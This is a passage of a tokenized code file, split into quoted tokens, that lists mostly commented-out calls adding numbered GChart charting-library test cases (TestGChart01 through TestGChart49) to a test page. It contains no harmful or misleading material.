"(", "Test", "GC", "hart", "01", "(", "1", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "2", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "No", "Update", "(", "Test", "GC", "hart", "01", "(", "3", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "01", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "Test", "GC", "hart", "02", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "03", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "04", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "04", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "Char", "t", "(", "Test", "GC", "hart", "05", "(", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "add", "Chart_", "(_", "Test", "GC", "hart", "05_", "(_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "6", "(", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "6", "(", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",", "0", ",", "10", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "10", ",", "0", ",", "10", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(-", "10", ",", "0", ",", "10", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",", "10", ",", "10", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",-", "10", ",", "10", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",", "0", ",", "30", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",", "0", ",", "10", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",", "0", ",", "10", ",-", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",", "0", ",", "10", ",-", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7", "(", "0", ",", "0", ",", "10", ",-", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "7a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "0", "8", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "09", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "10", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "11", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "2", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "14", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "14", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "14", "b", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "14", "c", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "14", "d", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "15", "(", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "15", "(", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "0", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "1", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "2", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "3", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "4", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "5", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "0", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "1", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "2", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "3", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "4", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "16", "(", "5", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "7", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "7a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "7b", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "8", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "9", "(", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "9", "(", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "9", "(", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "1", "9", "(", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "20", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "20", "a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "#", " ", "extra", " ", "layer", " ", "to", " ", "stop", " ", "\"", "this", " ", "script", " ", "is", " ", "tak", "ing", " ", "too", " ", "long", "\"", " ", "browse", "r", " ", "msg_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "<", " ", "voi", "d", " ", "execute", "()", " ", "<_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "21", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "2", "(", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "2", "(", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "23", "(", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "23", "(", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "23", "(", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "24", "(", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "24", "(", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "1", ",", "1", ",", "1", ",", "20", ",", "20", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "2", ",", "2", ",", "1", ",", "1", ",", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "5", ",", "5", ",", "1", ",", "0", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "1", ",", "1", ",.", "5", ",", "10", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "2", ",", "2", ",.", "5", ",", "10", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "4", ",", "4", ",.", "5", ",", "10", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "8", ",", "8", ",.", "5", ",", "10", ",", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "(", "8", ",", "1", ",", "1", ",", "1.5", ",", "20", ",", "20", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "b", "(", "8", ",", "1", ",", "0", ",", "1.5", ",", "20", ",", "20", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "25", "b", "(", "8", ",", "5", ",", "5", ",", "1", ",", "0", ",", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "6", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "7", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Fal", "se", ",", " ", "1", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Tru", "e", ",", " ", "1", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Fal", "se", ",", " ", "2", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Tru", "e", ",", " ", "2", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Fal", "se", ",", " ", "4", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Tru", "e", ",", " ", "4", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Fal", "se", ",", " ", "1", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Tru", "e", ",", " ", "1", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Fal", "se", ",", " ", "2", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Tru", "e", ",", " ", "2", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Fal", "se", ",", " ", "4", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Hover", " ", "testi", "ng", " ", "charts", " ", "start", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "8", "(", "Tru", "e", ",", " ", "4", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "2", "9", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "30", "(", "Fal", "se", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "30", "(", "Tru", "e", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "30", "(", "Fal", "se", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "30", "(", "Tru", "e", ",", " ", "Tru", "e", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "1", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "32", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "Not", " ", "a", " ", "GC", "chart", ",", " ", "a", " ", "Scroll", "Pane", "l", " ", "tha", "t", " ", "contain", "s", " ", "a", " ", "Gc", "hart", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "<", " ", "voi", "d", " ", "execute", "()", " ", "<_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "3", "3", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", ">>", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "4", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "5", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", " ", "Test", "GC", "hart", "3", "6", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "CLEAR", "ED", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "6", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "LOCK", "ED", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "6", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "UPDATE", "D", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "7", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "CLEAR", "ED", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "7", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "LOCK", "ED", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "7", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "UPDATE", "D", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "8", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "CLEAR", "ED", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "8", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "LOCK", "ED", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "8", "(", "GC", "hart", ".", "Tou", "ched", "Point", "Update", "Optio", "n", ".", "TOU", "CHE", "D", "\\u", "POINT", "\\u", "UPDATE", "D", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "3", "9", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "<", " ", "voi", "d", " ", "execute", "()", " ", "<_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "4", "1", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", ">>", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "<", " ", "voi", "d", " ", "execute", "()", " ", "<_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "4", "1a", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", ">>", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "2", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "3", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "4", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "5", "(", "0", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "5", "(", "1", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " \t", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "5", "(", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "5", "(", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "5", "(", "4", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Defe", "rre", "d", "Command", ".", "add", "(", "Command", "()", " ", "<", " ", "voi", "d", " ", "execute", "()", " ", "<_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Roo", "t", "Pane", "l", ".", "get", "()", ".", "add", "(", "Test", "GC", "hart", "4", "6", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", ">>", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "0", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "1", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "2", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "3", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "4", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "5", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "6", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "7", ",", "1", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "0", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "1", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "2", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "3", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "4", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "5", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "6", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "7", ",", "0", ",", "2", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "0", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "1", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "2", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "3", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "4", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "5", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "6", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "7", ",", "1", ",", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "8", ",", "3", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "7", "(", "9", ",", "3", ",", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "8", "(", "3", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "8", "(", "4", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "8", "(", "5", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "8", "(", "6", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "8", "(", "8", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "8", "(", "9", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "8", "(", "10", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "9", "(", "3", ",", "Fal", "se", ",", " ", "Fal", "se", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "add", "Char", "t", "(", "Test", "GC", "hart", "4", "9", "(", "3", ",", " ", "Fal", "se", ",", " ", "Tru", "e", 